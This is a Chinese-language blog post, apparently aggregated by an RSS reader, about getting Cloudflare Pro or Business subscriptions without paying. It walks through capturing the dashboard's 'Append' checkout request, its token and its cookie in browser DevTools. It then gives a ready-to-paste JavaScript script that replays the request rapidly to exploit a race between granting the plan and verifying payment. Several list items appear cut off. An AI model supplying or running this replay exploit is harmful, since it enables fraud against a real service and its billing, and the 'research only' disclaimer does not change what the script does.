



























在针对 Cloudflare 订阅体系进行逆向测试时,我发现其前端结算逻辑与后端状态同步之间存在一个有趣的“空隙”。通过特定的请求重放(Replay Attack),可以在系统未产生实际账单的情况下,诱导后端激活 Pro 或 Business 计划。

这种绕过方式会导致账号进入一种奇特的错位状态:
Free 计划。由于计费链路未闭环,系统不会生成任何待支付条目或扣费账单。在复现该逻辑缺陷前,需满足以下条件:
Active Subscriptions 页面点击 Change,选择你想要激活的 Pro 或 Business 方案,进入待支付页面。利用浏览器开发者工具(DevTools),我们可以手动干预结算请求。
打开 Network 标签页,点击页面底部的支付按钮。在产生的流量中,定位名为 Append 的 POST 请求。
选中该请求,从 Headers 和 Payload 中提取以下关键参数:
Request Payload 中点击 View Source,获取原始的 JSON 结构。切换至 Console 标签页,利用下面的异步脚本进行高频重放。
/**
* Cloudflare Subscription Bypass Replay Script
* 仅用于技术研究,请勿用于非法用途
*/
const url = 'PASTE_YOUR_URL_HERE';
const headers = {
'content-type': 'application/json',
'accept': '*/*',
'origin': 'https://dash.cloudflare.com',
'referer': 'https://dash.cloudflare.com/',
'x-atok': 'PASTE_YOUR_X_ATOK_HERE',
'x-cross-site-security': 'dash',
'cookie': 'PASTE_YOUR_COOKIE_HERE',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36'
};
// 填入 View Source 中的 Payload 数据
const payload = { /* ... */ };
const delay = ms => new Promise(res => setTimeout(res, ms));
(async () => {
console.log("%c 开始执行请求重放...", "color: #007aff; font-weight: bold;");
for (let i = 0; i < 10; i++) {
fetch(url, {
method: 'POST',
headers: headers,
body: JSON.stringify(payload)
})
.then(res => console.log(`[Batch ${i}] Status: ${res.status}`))
.catch(err => console.error(`[Batch ${i}] Error:`, err));
await delay(100); // 100ms 间隔,模拟并发竞争
}
console.log("%c 脚本执行完毕,请刷新控制面板验证权限。", "color: #34c759; font-weight: bold;");
})();

这个漏洞的成因很可能是 Cloudflare 在处理 Append 操作时,先执行了权限分配逻辑,而后异步校验支付结果。在快速并发的请求下,后端分布式数据库可能出现了临时的状态同步延迟,导致权限已被写入 Metadata,但账单流水却因支付失败而被回滚。
这种“先上车后买票”的逻辑在追求极致前端体验的 SaaS 平台中屡见不鲜,但也为安全研究提供了极佳的切入点。
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。